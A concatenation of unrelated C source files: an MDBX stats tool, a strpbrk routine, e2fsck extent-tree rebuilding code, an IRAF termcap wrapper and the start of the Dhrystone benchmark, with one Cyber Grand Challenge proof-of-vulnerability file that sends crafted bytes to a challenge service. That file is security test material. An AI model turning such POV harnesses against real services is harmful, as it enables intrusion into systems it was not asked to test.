%u\n", mei.mi_maxreaders); printf(" Number of reader slots uses: %u\n", mei.mi_numreaders); } if (rdrinfo) { rc = mdbx_reader_list(env, reader_list_func, nullptr); if (MDBX_IS_ERROR(rc)) { error("mdbx_reader_list", rc); goto txn_abort; } if (rc == MDBX_RESULT_TRUE) printf("Reader Table is empty\n"); else if (rc == MDBX_SUCCESS && rdrinfo > 1) { int dead; rc = mdbx_reader_check(env, &dead); if (MDBX_IS_ERROR(rc)) { error("mdbx_reader_check", rc); goto txn_abort; } if (rc == MDBX_RESULT_TRUE) { printf(" %d stale readers cleared.\n", dead); rc = mdbx_reader_list(env, reader_list_func, nullptr); if (rc == MDBX_RESULT_TRUE) printf(" Now Reader Table is empty\n"); } else printf(" No stale readers.\n"); } if (!(subname || alldbs || freinfo)) goto txn_abort; } if (freinfo) { printf("Garbage Collection\n"); dbi = 0; MDBX_cursor *cursor; rc = mdbx_cursor_open(txn, dbi, &cursor); if (unlikely(rc != MDBX_SUCCESS)) { error("mdbx_cursor_open", rc); goto txn_abort; } MDBX_stat mst; rc = mdbx_dbi_stat(txn, dbi, &mst, sizeof(mst)); if (unlikely(rc != MDBX_SUCCESS)) { error("mdbx_dbi_stat", rc); goto txn_abort; } print_stat(&mst); pgno_t pages = 0, *iptr; pgno_t reclaimable = 0; MDBX_val key, data; while (MDBX_SUCCESS == (rc = mdbx_cursor_get(cursor, &key, &data, MDBX_NEXT))) { if (user_break) { rc = MDBX_EINTR; break; } iptr = data.iov_base; const pgno_t number = *iptr++; pages += number; if (envinfo && mei.mi_latter_reader_txnid > *(txnid_t *)key.iov_base) reclaimable += number; if (freinfo > 1) { char *bad = ""; pgno_t prev = MDBX_PNL_ASCENDING ? NUM_METAS - 1 : (pgno_t)mei.mi_last_pgno + 1; pgno_t span = 1; for (unsigned i = 0; i < number; ++i) { pgno_t pg = iptr[i]; if (MDBX_PNL_DISORDERED(prev, pg)) bad = " [bad sequence]"; prev = pg; while (i + span < number && iptr[i + span] == (MDBX_PNL_ASCENDING ? pgno_add(pg, span) : pgno_sub(pg, span))) ++span; } printf(" Transaction %" PRIaTXN ", %" PRIaPGNO " pages, maxspan %" PRIaPGNO "%s\n", *(txnid_t *)key.iov_base, number, span, bad); if (freinfo > 2) { for (unsigned i = 0; i < number; i += span) { const pgno_t pg = iptr[i]; for (span = 1; i + span < number && iptr[i + span] == (MDBX_PNL_ASCENDING ? pgno_add(pg, span) : pgno_sub(pg, span)); ++span) ; if (span > 1) printf(" %9" PRIaPGNO "[%" PRIaPGNO "]\n", pg, span); else printf(" %9" PRIaPGNO "\n", pg); } } } } mdbx_cursor_close(cursor); cursor = nullptr; switch (rc) { case MDBX_SUCCESS: case MDBX_NOTFOUND: break; case MDBX_EINTR: if (!quiet) fprintf(stderr, "Interrupted by signal/user\n"); goto txn_abort; default: error("mdbx_cursor_get", rc); goto txn_abort; } if (envinfo) { uint64_t value = mei.mi_mapsize / mei.mi_dxb_pagesize; double percent = value / 100.0; printf("Page Usage\n"); printf(" Total: %" PRIu64 " 100%%\n", value); value = mei.mi_geo.current / mei.mi_dxb_pagesize; printf(" Backed: %" PRIu64 " %.1f%%\n", value, value / percent); value = mei.mi_last_pgno + 1; printf(" Allocated: %" PRIu64 " %.1f%%\n", value, value / percent); value = mei.mi_mapsize / mei.mi_dxb_pagesize - (mei.mi_last_pgno + 1); printf(" Remained: %" PRIu64 " %.1f%%\n", value, value / percent); value = mei.mi_last_pgno + 1 - pages; printf(" Used: %" PRIu64 " %.1f%%\n", value, value / percent); value = pages; printf(" GC: %" PRIu64 " %.1f%%\n", value, value / percent); value = pages - reclaimable; printf(" Retained: %" PRIu64 " %.1f%%\n", value, value / percent); value = reclaimable; printf(" Reclaimable: %" PRIu64 " %.1f%%\n", value, value / percent); value = mei.mi_mapsize / mei.mi_dxb_pagesize - (mei.mi_last_pgno + 1) + reclaimable; printf(" Available: %" PRIu64 " %.1f%%\n", value, value / percent); } else printf(" GC: %" PRIaPGNO " pages\n", pages); } rc = mdbx_dbi_open(txn, subname, MDBX_DB_ACCEDE, &dbi); if (unlikely(rc != MDBX_SUCCESS)) { error("mdbx_dbi_open", rc); goto txn_abort; } MDBX_stat mst; rc = mdbx_dbi_stat(txn, dbi, &mst, sizeof(mst)); if (unlikely(rc != MDBX_SUCCESS)) { error("mdbx_dbi_stat", rc); goto txn_abort; } printf("Status of %s\n", subname ? subname : "Main DB"); print_stat(&mst); if (alldbs) { MDBX_cursor *cursor; rc = mdbx_cursor_open(txn, dbi, &cursor); if (unlikely(rc != MDBX_SUCCESS)) { error("mdbx_cursor_open", rc); goto txn_abort; } MDBX_val key; while (MDBX_SUCCESS == (rc = mdbx_cursor_get(cursor, &key, nullptr, MDBX_NEXT_NODUP))) { MDBX_dbi subdbi; if (memchr(key.iov_base, '\0', key.iov_len)) continue; subname = mdbx_malloc(key.iov_len + 1); memcpy(subname, key.iov_base, key.iov_len); subname[key.iov_len] = '\0'; rc = mdbx_dbi_open(txn, subname, MDBX_DB_ACCEDE, &subdbi); if (rc == MDBX_SUCCESS) printf("Status of %s\n", subname); mdbx_free(subname); if (unlikely(rc != MDBX_SUCCESS)) { if (rc == MDBX_INCOMPATIBLE) continue; error("mdbx_dbi_open", rc); goto txn_abort; } rc = mdbx_dbi_stat(txn, subdbi, &mst, sizeof(mst)); if (unlikely(rc != MDBX_SUCCESS)) { error("mdbx_dbi_stat", rc); goto txn_abort; } print_stat(&mst); rc = mdbx_dbi_close(env, subdbi); if (unlikely(rc != MDBX_SUCCESS)) { error("mdbx_dbi_close", rc); goto txn_abort; } } mdbx_cursor_close(cursor); cursor = nullptr; } switch (rc) { case MDBX_SUCCESS: case MDBX_NOTFOUND: break; case MDBX_EINTR: if (!quiet) fprintf(stderr, "Interrupted by signal/user\n"); break; default: if (unlikely(rc != MDBX_SUCCESS)) error("mdbx_cursor_get", rc); } mdbx_dbi_close(env, dbi); txn_abort: mdbx_txn_abort(txn); env_close: mdbx_env_close(env); return rc ? EXIT_FAILURE : EXIT_SUCCESS; }
257792.c
#include <types.h> #include <stddef.h> #include <string.h> /* * Finds in a string the first occurrence of a byte/wchar_t in a set */ char * strpbrk(const char * s1, const char * s2) { const char * sc1, * sc2; for (sc1 = s1; *sc1 != '\0'; ++sc1) { for (sc2 = s2; *sc2 != '\0'; ++sc2) { if (*sc1 == *sc2) return (char *)sc1; } } return NULL; }
558099.c
#include "libpov.h" int main(int cgc_argc, char *cgc_argv[]) { cgc_negotiate_type1(0x0, 0x0, 0); do { //*** writing data static unsigned char write_00000_00000[] = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00" "\xe8\x03\x00\x00"; static unsigned int write_00000_00000_len = 20; unsigned char *write_00000 = NULL; unsigned int write_00000_len = 0; write_00000 = cgc_append_buf(write_00000, &write_00000_len, write_00000_00000, write_00000_00000_len); if (write_00000_len > 0) { cgc_transmit_all(1, write_00000, write_00000_len); } cgc_free(write_00000); } while (0); do { unsigned char *read_00000; unsigned int read_00000_len; unsigned int read_00000_ptr = 0; //**** length read read_00000_len = 16; read_00000 = (unsigned char*)cgc_malloc(read_00000_len); int read_00000_res = cgc_length_read(0, read_00000, read_00000_len); if (read_00000_res) {} //silence unused variable warning //**** read match data static unsigned char match_00000_00000[] = "\x70\x68\x03\x00\x22\xbf\x01\x00\x00\x04\x00\x00\xaf\xed\x02\x00"; read_00000_ptr += cgc_data_match(read_00000 + read_00000_ptr, read_00000_len - read_00000_ptr, match_00000_00000, 16); cgc_free(read_00000); if (read_00000_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00001_00000[] = "\x70\x68\x03\x00\x22\xbf\x01\x00\x01\x03\x00\x00\x00\x00\x00\x00"; static unsigned int write_00001_00000_len = 16; unsigned char *write_00001 = NULL; unsigned int write_00001_len = 0; write_00001 = cgc_append_buf(write_00001, &write_00001_len, write_00001_00000, write_00001_00000_len); if (write_00001_len > 0) { cgc_transmit_all(1, write_00001, write_00001_len); } cgc_free(write_00001); } while (0); do { unsigned char *read_00001; unsigned int read_00001_len; unsigned int read_00001_ptr = 0; //**** length read read_00001_len = 16; read_00001 = (unsigned char*)cgc_malloc(read_00001_len); int read_00001_res = cgc_length_read(0, read_00001, read_00001_len); if (read_00001_res) {} //silence unused variable warning //**** read match data static unsigned char match_00001_00000[] = "\x70\x68\x03\x00\x22\xbf\x01\x00\x01\x03\x00\x00\xb0\xed\x02\x00"; read_00001_ptr += cgc_data_match(read_00001 + read_00001_ptr, read_00001_len - read_00001_ptr, match_00001_00000, 16); cgc_free(read_00001); if (read_00001_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00002_00000[] = "\x70\x68\x03\x00\x22\xbf\x01\x00\x01\x01\x00\x00\x00\x00\x00\x00"; static unsigned int write_00002_00000_len = 16; unsigned char *write_00002 = NULL; unsigned int write_00002_len = 0; write_00002 = cgc_append_buf(write_00002, &write_00002_len, write_00002_00000, write_00002_00000_len); if (write_00002_len > 0) { cgc_transmit_all(1, write_00002, write_00002_len); } cgc_free(write_00002); } while (0); do { unsigned char *read_00002; unsigned int read_00002_len; unsigned int read_00002_ptr = 0; //**** length read read_00002_len = 16; read_00002 = (unsigned char*)cgc_malloc(read_00002_len); int read_00002_res = cgc_length_read(0, read_00002, read_00002_len); if (read_00002_res) {} //silence unused variable warning //**** read match data static unsigned char match_00002_00000[] = "\x70\x68\x03\x00\x22\xbf\x01\x00\x01\x01\x00\x00\xb1\xed\x02\x00"; read_00002_ptr += cgc_data_match(read_00002 + read_00002_ptr, read_00002_len - read_00002_ptr, match_00002_00000, 16); cgc_free(read_00002); if (read_00002_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00003_00000[] = "\x70\x68\x03\x00\x22\xbf\x01\x00\x02\x03\x00\x00\xb0\xed\x02\x00" "\x12\x00\x00\x00"; static unsigned int write_00003_00000_len = 20; unsigned char *write_00003 = NULL; unsigned int write_00003_len = 0; write_00003 = cgc_append_buf(write_00003, &write_00003_len, write_00003_00000, write_00003_00000_len); if (write_00003_len > 0) { cgc_transmit_all(1, write_00003, write_00003_len); } cgc_free(write_00003); } while (0); do { unsigned char *read_00003; unsigned int read_00003_len; unsigned int read_00003_ptr = 0; //**** length read read_00003_len = 20; read_00003 = (unsigned char*)cgc_malloc(read_00003_len); int read_00003_res = cgc_length_read(0, read_00003, read_00003_len); if (read_00003_res) {} //silence unused variable warning //**** read match data static unsigned char match_00003_00000[] = "\x70\x68\x03\x00\x22\xbf\x01\x00\x02\x03\x00\x00\xb0\xed\x02\x00" "\x03\x00\x00\x00"; read_00003_ptr += cgc_data_match(read_00003 + read_00003_ptr, read_00003_len - read_00003_ptr, match_00003_00000, 20); cgc_free(read_00003); if (read_00003_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00004; unsigned int read_00004_len; unsigned int read_00004_ptr = 0; //**** length read read_00004_len = 12; read_00004 = (unsigned char*)cgc_malloc(read_00004_len); int read_00004_res = cgc_length_read(0, read_00004, read_00004_len); if (read_00004_res) {} //silence unused variable warning //**** read match data static unsigned char match_00004_00000[] = "\x01\x01\x00\x00\x70\x68\x03\x00\xb1\xed\x02\x00"; read_00004_ptr += cgc_data_match(read_00004 + read_00004_ptr, read_00004_len - read_00004_ptr, match_00004_00000, 12); cgc_free(read_00004); if (read_00004_ptr) {} //silence unused variable warning if any } while (0); }
1005426.c
/* * extents.c --- rebuild extent tree * * Copyright (C) 2014 Oracle. * * %Begin-Header% * This file may be redistributed under the terms of the GNU Public * License, version 2. * %End-Header% */ #include "config.h" #include <string.h> #include <ctype.h> #include <errno.h> #include "e2fsck.h" #include "problem.h" #undef DEBUG #undef DEBUG_SUMMARY #undef DEBUG_FREE #define NUM_EXTENTS 341 /* about one ETB' worth of extents */ static errcode_t e2fsck_rebuild_extents(e2fsck_t ctx, ext2_ino_t ino); /* Schedule an inode to have its extent tree rebuilt during pass 1E. */ errcode_t e2fsck_rebuild_extents_later(e2fsck_t ctx, ext2_ino_t ino) { errcode_t retval = 0; if (!ext2fs_has_feature_extents(ctx->fs->super) || (ctx->options & E2F_OPT_NO) || (ino != EXT2_ROOT_INO && ino < ctx->fs->super->s_first_ino)) return 0; if (ctx->flags & E2F_FLAG_ALLOC_OK) return e2fsck_rebuild_extents(ctx, ino); if (!ctx->inodes_to_rebuild) retval = e2fsck_allocate_inode_bitmap(ctx->fs, _("extent rebuild inode map"), EXT2FS_BMAP64_RBTREE, "inodes_to_rebuild", &ctx->inodes_to_rebuild); if (retval) return retval; ext2fs_mark_inode_bitmap2(ctx->inodes_to_rebuild, ino); return 0; } /* Ask if an inode will have its extents rebuilt during pass 1E. */ int e2fsck_ino_will_be_rebuilt(e2fsck_t ctx, ext2_ino_t ino) { if (!ctx->inodes_to_rebuild) return 0; return ext2fs_test_inode_bitmap2(ctx->inodes_to_rebuild, ino); } struct extent_list { blk64_t blocks_freed; struct ext2fs_extent *extents; unsigned int count; unsigned int size; unsigned int ext_read; errcode_t retval; ext2_ino_t ino; }; static errcode_t load_extents(e2fsck_t ctx, struct extent_list *list) { ext2_filsys fs = ctx->fs; ext2_extent_handle_t handle; struct ext2fs_extent extent; errcode_t retval; retval = ext2fs_extent_open(fs, list->ino, &handle); if (retval) return retval; retval = ext2fs_extent_get(handle, EXT2_EXTENT_ROOT, &extent); if (retval) goto out; do { if (extent.e_flags & EXT2_EXTENT_FLAGS_SECOND_VISIT) goto next; /* Internal node; free it and we'll re-allocate it later */ if (!(extent.e_flags & EXT2_EXTENT_FLAGS_LEAF)) { #if defined(DEBUG) || defined(DEBUG_FREE) printf("ino=%d free=%llu bf=%llu\n", list->ino, extent.e_pblk, list->blocks_freed + 1); #endif list->blocks_freed++; ext2fs_block_alloc_stats2(fs, extent.e_pblk, -1); goto next; } list->ext_read++; /* Can we attach it to the previous extent? */ if (list->count) { struct ext2fs_extent *last = list->extents + list->count - 1; blk64_t end = last->e_len + extent.e_len; if (last->e_pblk + last->e_len == extent.e_pblk && last->e_lblk + last->e_len == extent.e_lblk && (last->e_flags & EXT2_EXTENT_FLAGS_UNINIT) == (extent.e_flags & EXT2_EXTENT_FLAGS_UNINIT) && end < (1ULL << 32)) { last->e_len += extent.e_len; #ifdef DEBUG printf("R: ino=%d len=%u\n", list->ino, last->e_len); #endif goto next; } } /* Do we need to expand? */ if (list->count == list->size) { unsigned int new_size = (list->size + NUM_EXTENTS) * sizeof(struct ext2fs_extent); retval = ext2fs_resize_mem(0, new_size, &list->extents); if (retval) goto out; list->size += NUM_EXTENTS; } /* Add a new extent */ memcpy(list->extents + list->count, &extent, sizeof(extent)); #ifdef DEBUG printf("R: ino=%d pblk=%llu lblk=%llu len=%u\n", list->ino, extent.e_pblk, extent.e_lblk, extent.e_len); #endif list->count++; next: retval = ext2fs_extent_get(handle, EXT2_EXTENT_NEXT, &extent); } while (retval == 0); out: /* Ok if we run off the end */ if (retval == EXT2_ET_EXTENT_NO_NEXT) retval = 0; ext2fs_extent_free(handle); return retval; } static int find_blocks(ext2_filsys fs, blk64_t *blocknr, e2_blkcnt_t blockcnt, blk64_t ref_blk EXT2FS_ATTR((unused)), int ref_offset EXT2FS_ATTR((unused)), void *priv_data) { struct extent_list *list = priv_data; /* Internal node? */ if (blockcnt < 0) { #if defined(DEBUG) || defined(DEBUG_FREE) printf("ino=%d free=%llu bf=%llu\n", list->ino, *blocknr, list->blocks_freed + 1); #endif list->blocks_freed++; ext2fs_block_alloc_stats2(fs, *blocknr, -1); return 0; } /* Can we attach it to the previous extent? */ if (list->count) { struct ext2fs_extent *last = list->extents + list->count - 1; blk64_t end = last->e_len + 1; if (last->e_pblk + last->e_len == *blocknr && end < (1ULL << 32)) { last->e_len++; #ifdef DEBUG printf("R: ino=%d len=%u\n", list->ino, last->e_len); #endif return 0; } } /* Do we need to expand? */ if (list->count == list->size) { unsigned int new_size = (list->size + NUM_EXTENTS) * sizeof(struct ext2fs_extent); list->retval = ext2fs_resize_mem(0, new_size, &list->extents); if (list->retval) return BLOCK_ABORT; list->size += NUM_EXTENTS; } /* Add a new extent */ list->extents[list->count].e_pblk = *blocknr; list->extents[list->count].e_lblk = blockcnt; list->extents[list->count].e_len = 1; list->extents[list->count].e_flags = 0; #ifdef DEBUG printf("R: ino=%d pblk=%llu lblk=%llu len=%u\n", list->ino, *blocknr, blockcnt, 1); #endif list->count++; return 0; } static errcode_t rebuild_extent_tree(e2fsck_t ctx, struct extent_list *list, ext2_ino_t ino) { struct ext2_inode inode; errcode_t retval; ext2_extent_handle_t handle; unsigned int i, ext_written; struct ext2fs_extent *ex, extent; list->count = 0; list->blocks_freed = 0; list->ino = ino; list->ext_read = 0; e2fsck_read_inode(ctx, ino, &inode, "rebuild_extents"); /* Skip deleted inodes and inline data files */ if (inode.i_links_count == 0 || inode.i_flags & EXT4_INLINE_DATA_FL) return 0; /* Collect lblk->pblk mappings */ if (inode.i_flags & EXT4_EXTENTS_FL) { retval = load_extents(ctx, list); if (retval) goto err; goto extents_loaded; } retval = ext2fs_block_iterate3(ctx->fs, ino, BLOCK_FLAG_READ_ONLY, 0, find_blocks, list); if (retval) goto err; if (list->retval) { retval = list->retval; goto err; } extents_loaded: /* Reset extent tree */ inode.i_flags &= ~EXT4_EXTENTS_FL; memset(inode.i_block, 0, sizeof(inode.i_block)); /* Make a note of freed blocks */ retval = ext2fs_iblk_sub_blocks(ctx->fs, &inode, list->blocks_freed); if (retval) goto err; /* Now stuff extents into the file */ retval = ext2fs_extent_open2(ctx->fs, ino, &inode, &handle); if (retval) goto err; ext_written = 0; for (i = 0, ex = list->extents; i < list->count; i++, ex++) { memcpy(&extent, ex, sizeof(struct ext2fs_extent)); extent.e_flags &= EXT2_EXTENT_FLAGS_UNINIT; if (extent.e_flags & EXT2_EXTENT_FLAGS_UNINIT) { if (extent.e_len > EXT_UNINIT_MAX_LEN) { extent.e_len = EXT_UNINIT_MAX_LEN; ex->e_pblk += EXT_UNINIT_MAX_LEN; ex->e_lblk += EXT_UNINIT_MAX_LEN; ex->e_len -= EXT_UNINIT_MAX_LEN; ex--; i--; } } else { if (extent.e_len > EXT_INIT_MAX_LEN) { extent.e_len = EXT_INIT_MAX_LEN; ex->e_pblk += EXT_INIT_MAX_LEN; ex->e_lblk += EXT_INIT_MAX_LEN; ex->e_len -= EXT_INIT_MAX_LEN; ex--; i--; } } #ifdef DEBUG printf("W: ino=%d pblk=%llu lblk=%llu len=%u\n", ino, extent.e_pblk, extent.e_lblk, extent.e_len); #endif retval = ext2fs_extent_insert(handle, EXT2_EXTENT_INSERT_AFTER, &extent); if (retval) goto err2; retval = ext2fs_extent_fix_parents(handle); if (retval) goto err2; ext_written++; } #if defined(DEBUG) || defined(DEBUG_SUMMARY) printf("rebuild: ino=%d extents=%d->%d\n", ino, list->ext_read, ext_written); #endif e2fsck_write_inode(ctx, ino, &inode, "rebuild_extents"); err2: ext2fs_extent_free(handle); err: return retval; } /* Rebuild the extents immediately */ static errcode_t e2fsck_rebuild_extents(e2fsck_t ctx, ext2_ino_t ino) { struct extent_list list; errcode_t err; if (!ext2fs_has_feature_extents(ctx->fs->super) || (ctx->options & E2F_OPT_NO) || (ino != EXT2_ROOT_INO && ino < ctx->fs->super->s_first_ino)) return 0; e2fsck_read_bitmaps(ctx); memset(&list, 0, sizeof(list)); err = ext2fs_get_mem(sizeof(struct ext2fs_extent) * NUM_EXTENTS, &list.extents); if (err) return err; list.size = NUM_EXTENTS; err = rebuild_extent_tree(ctx, &list, ino); ext2fs_free_mem(&list.extents); return err; } static void rebuild_extents(e2fsck_t ctx, const char *pass_name, int pr_header) { struct problem_context pctx; #ifdef RESOURCE_TRACK struct resource_track rtrack; #endif struct extent_list list; int first = 1; ext2_ino_t ino = 0; errcode_t retval; if (!ext2fs_has_feature_extents(ctx->fs->super) || !ext2fs_test_valid(ctx->fs) || ctx->invalid_bitmaps) { if (ctx->inodes_to_rebuild) ext2fs_free_inode_bitmap(ctx->inodes_to_rebuild); ctx->inodes_to_rebuild = NULL; } if (ctx->inodes_to_rebuild == NULL) return; init_resource_track(&rtrack, ctx->fs->io); clear_problem_context(&pctx); e2fsck_read_bitmaps(ctx); memset(&list, 0, sizeof(list)); retval = ext2fs_get_mem(sizeof(struct ext2fs_extent) * NUM_EXTENTS, &list.extents); list.size = NUM_EXTENTS; while (1) { retval = ext2fs_find_first_set_inode_bitmap2( ctx->inodes_to_rebuild, ino + 1, ctx->fs->super->s_inodes_count, &ino); if (retval) break; pctx.ino = ino; if (first) { fix_problem(ctx, pr_header, &pctx); first = 0; } pctx.errcode = rebuild_extent_tree(ctx, &list, ino); if (pctx.errcode) { end_problem_latch(ctx, PR_LATCH_OPTIMIZE_EXT); fix_problem(ctx, PR_1E_OPTIMIZE_EXT_ERR, &pctx); } if (ctx->progress && !ctx->progress_fd) e2fsck_simple_progress(ctx, "Rebuilding extents", 100.0 * (float) ino / (float) ctx->fs->super->s_inodes_count, ino); } end_problem_latch(ctx, PR_LATCH_OPTIMIZE_EXT); ext2fs_free_inode_bitmap(ctx->inodes_to_rebuild); ctx->inodes_to_rebuild = NULL; ext2fs_free_mem(&list.extents); print_resource_track(ctx, pass_name, &rtrack, ctx->fs->io); } /* Scan a file to see if we should rebuild its extent tree */ errcode_t e2fsck_check_rebuild_extents(e2fsck_t ctx, ext2_ino_t ino, struct ext2_inode *inode, struct problem_context *pctx) { struct extent_tree_info eti; struct ext2_extent_info info, top_info; struct ext2fs_extent extent; ext2_extent_handle_t ehandle; ext2_filsys fs = ctx->fs; errcode_t retval; /* block map file and we want extent conversion */ if (!(inode->i_flags & EXT4_EXTENTS_FL) && !(inode->i_flags & EXT4_INLINE_DATA_FL) && (ctx->options & E2F_OPT_CONVERT_BMAP)) { return e2fsck_rebuild_extents_later(ctx, ino); } if (!(inode->i_flags & EXT4_EXTENTS_FL)) return 0; memset(&eti, 0, sizeof(eti)); eti.ino = ino; /* Otherwise, go scan the extent tree... */ retval = ext2fs_extent_open2(fs, ino, inode, &ehandle); if (retval) return 0; retval = ext2fs_extent_get_info(ehandle, &top_info); if (retval) goto out; /* Check maximum extent depth */ pctx->ino = ino; pctx->blk = top_info.max_depth; pctx->blk2 = ext2fs_max_extent_depth(ehandle); if (pctx->blk2 < pctx->blk && fix_problem(ctx, PR_1_EXTENT_BAD_MAX_DEPTH, pctx)) eti.force_rebuild = 1; /* Can we collect extent tree level stats? */ pctx->blk = MAX_EXTENT_DEPTH_COUNT; if (pctx->blk2 > pctx->blk) fix_problem(ctx, PR_1E_MAX_EXTENT_TREE_DEPTH, pctx); /* We need to fix tree depth problems, but the scan isn't a fix. */ if (ctx->options & E2F_OPT_FIXES_ONLY) goto out; retval = ext2fs_extent_get(ehandle, EXT2_EXTENT_ROOT, &extent); if (retval) goto out; do { retval = ext2fs_extent_get_info(ehandle, &info); if (retval) break; /* * If this is the first extent in an extent block that we * haven't visited, collect stats on the block. */ if (info.curr_entry == 1 && !(extent.e_flags & EXT2_EXTENT_FLAGS_SECOND_VISIT) && !eti.force_rebuild) { struct extent_tree_level *etl; etl = eti.ext_info + info.curr_level; etl->num_extents += info.num_entries; etl->max_extents += info.max_entries; /* * Implementation wart: Splitting extent blocks when * appending will leave the old block with one free * entry. Therefore unless the node is totally full, * pretend that a non-root extent block can hold one * fewer entry than it actually does, so that we don't * repeatedly rebuild the extent tree. */ if (info.curr_level && info.num_entries < info.max_entries) etl->max_extents--; } /* Skip to the end of a block of leaf nodes */ if (extent.e_flags & EXT2_EXTENT_FLAGS_LEAF) { retval = ext2fs_extent_get(ehandle, EXT2_EXTENT_LAST_SIB, &extent); if (retval) break; } retval = ext2fs_extent_get(ehandle, EXT2_EXTENT_NEXT, &extent); } while (retval == 0); out: ext2fs_extent_free(ehandle); return e2fsck_should_rebuild_extents(ctx, pctx, &eti, &top_info); } /* Having scanned a file's extent tree, decide if we should rebuild it */ errcode_t e2fsck_should_rebuild_extents(e2fsck_t ctx, struct problem_context *pctx, struct extent_tree_info *eti, struct ext2_extent_info *info) { struct extent_tree_level *ei; int i, j, op; unsigned int extents_per_block; if (eti->force_rebuild) goto rebuild; extents_per_block = (ctx->fs->blocksize - sizeof(struct ext3_extent_header)) / sizeof(struct ext3_extent); /* * If we can consolidate a level or shorten the tree, schedule the * extent tree to be rebuilt. */ for (i = 0, ei = eti->ext_info; i < info->max_depth + 1; i++, ei++) { if (ei->max_extents - ei->num_extents > extents_per_block) { pctx->blk = i; op = PR_1E_CAN_NARROW_EXTENT_TREE; goto rebuild; } for (j = 0; j < i; j++) { if (ei->num_extents < eti->ext_info[j].max_extents) { pctx->blk = i; op = PR_1E_CAN_COLLAPSE_EXTENT_TREE; goto rebuild; } } } return 0; rebuild: if (eti->force_rebuild || fix_problem(ctx, op, pctx)) return e2fsck_rebuild_extents_later(ctx, eti->ino); return 0; } void e2fsck_pass1e(e2fsck_t ctx) { rebuild_extents(ctx, "Pass 1E", PR_1E_PASS_HEADER); }
531953.c
/* Copyright(c) 1986 Association of Universities for Research in Astronomy Inc. */ #define import_spp #define import_libc #define import_xnames #include <iraf.h> #define SZ_CAPSTR 128 static XCHAR buf[SZ_CAPSTR]; static XINT szbuf = 128; /* C_TTYGETS -- Get the value of a termcap capability as a character string, ** suitable for subsequent output to the device with TTYPUTS (assuming the ** capability is a control function). The number of characters in the output ** string is returned as the function value. */ int c_ttygets ( XINT tty, /* tty descriptor */ char *cap, /* two char capability name */ char *outstr, /* output string */ int maxch /* max chars out, excl EOS */ ) { XINT x_tty = tty; int nchars; nchars = TTYGETS (&x_tty, c_sppstr(cap), buf, &szbuf); c_strpak (buf, outstr, maxch); return (nchars); }
46923.c
/* **************************************************************************** * * "DHRYSTONE" Benchmark Program * ----------------------------- * * Version: C, Version 2.1 * * File: dhry_1.c (part 2 of 3) * * Date: May 25, 1988 * * Author: Reinhold P. Weicker * **************************************************************************** */ #include "dhry.h" #include "omsp_func.h" /* Global Variables: */ Rec_Pointer Ptr_Glob, Next_Ptr_Glob; int Int_Glob; Boolean Bool_Glob; char Ch_1_Glob, Ch_2_Glob; int Arr_1_Glob [50]; int Arr_2_Glob [50] [50]; extern char *malloc (); Enumeration Func_1 (); /* forward declaration necessary since Enumeration may not simply be int */ #ifndef REG Boolean Reg = false; #define REG /* REG becomes defined as empty */ /* i.e. no register variables */ #else Boolean Reg = true; #endif /* variables for time measurement: */ #ifdef TIMES struct tms time_info; extern int times (); /* see library function "times" */ #define Too_Small_Time (2*HZ) /* Measurements should last at least about 2 seconds */ #endif #ifdef TIME extern long time(); /* see library function "time" */ #define Too_Small_Time 2 /* Measurements should last at least 2 seconds */ #endif #ifdef MSC_CLOCK extern clock_t clock(); #define Too_Small_Time (2*HZ) #endif long Begin_Time, End_Time, User_Time; float Microseconds, Dhrystones_Per_Second; /* end of variables for time measurement */ main () /*****/ /* main program, corresponds to procedures */ /* Main and Proc_0 in the Ada version */ { One_Fifty Int_1_Loc; REG One_Fifty Int_2_Loc; One_Fifty Int_3_Loc; REG char Ch_Index; Enumeration Enum_Loc; Str_30 Str_1_Loc; Str_30 Str_2_Loc; REG int Run_Index; REG int Number_Of_Runs; /* Initializations */ STOP_WATCHDOG; Next_Ptr_Glob = (Rec_Pointer) malloc (sizeof (Rec_Type)); Ptr_Glob = (Rec_Pointer) malloc (sizeof (Rec_Type)); Ptr_Glob->Ptr_Comp = Next_Ptr_Glob; Ptr_Glob->Discr = Ident_1; Ptr_Glob->variant.var_1.Enum_Comp = Ident_3; Ptr_Glob->variant.var_1.Int_Comp = 40; strcpy (Ptr_Glob->variant.var_1.Str_Comp, "DHRYSTONE PROGRAM, SOME STRING"); strcpy (Str_1_Loc, "DHRYSTONE PROGRAM, 1'ST STRING"); Arr_2_Glob [8][7] = 10; /* Was missing in published program. Without this statement, */ /* Arr_2_Glob [8][7] would have an undefined value. */ /* Warning: With 16-Bit processors and Number_Of_Runs > 32000, */ /* overflow may occur for this array element. */ printf ("\n"); printf ("Dhrystone Benchmark, Version 2.1 (Language: C)\n"); printf ("\n"); if (Reg) { printf ("Program compiled with 'register' attribute\n"); printf ("\n"); } else { printf ("Program compiled without 'register' attribute\n"); printf ("\n"); } /* Replace scanf() with giving 'Number_Of_Runs' a constant value */ /* printf ("Please give the number of runs through the benchmark: "); { int n; scanf ("%d", &n); Number_Of_Runs = n; } printf ("\n"); */ Number_Of_Runs = 100; printf ("Execution starts, %d runs through Dhrystone\n", Number_Of_Runs); /***************/ /* Start timer */ /***************/ #ifdef TIMES times (&time_info); Begin_Time = (long) time_info.tms_utime; #endif #ifdef TIME Begin_Time = time ( (long *) 0); #endif #ifdef MSC_CLOCK Begin_Time = clock(); #endif START_TIME; // Set P3[0] for (Run_Index = 1; Run_Index <= Number_Of_Runs; ++Run_Index) { Proc_5(); Proc_4(); /* Ch_1_Glob == 'A', Ch_2_Glob == 'B', Bool_Glob == true */ Int_1_Loc = 2; Int_2_Loc = 3; strcpy (Str_2_Loc, "DHRYSTONE PROGRAM, 2'ND STRING"); Enum_Loc = Ident_2; Bool_Glob = ! Func_2 (Str_1_Loc, Str_2_Loc); /* Bool_Glob == 1 */ while (Int_1_Loc < Int_2_Loc) /* loop body executed once */ { Int_3_Loc = 5 * Int_1_Loc - Int_2_Loc; /* Int_3_Loc == 7 */ Proc_7 (Int_1_Loc, Int_2_Loc, &Int_3_Loc); /* Int_3_Loc == 7 */ Int_1_Loc += 1; } /* while */ /* Int_1_Loc == 3, Int_2_Loc == 3, Int_3_Loc == 7 */ Proc_8 (Arr_1_Glob, Arr_2_Glob, Int_1_Loc, Int_3_Loc); /* Int_Glob == 5 */ Proc_1 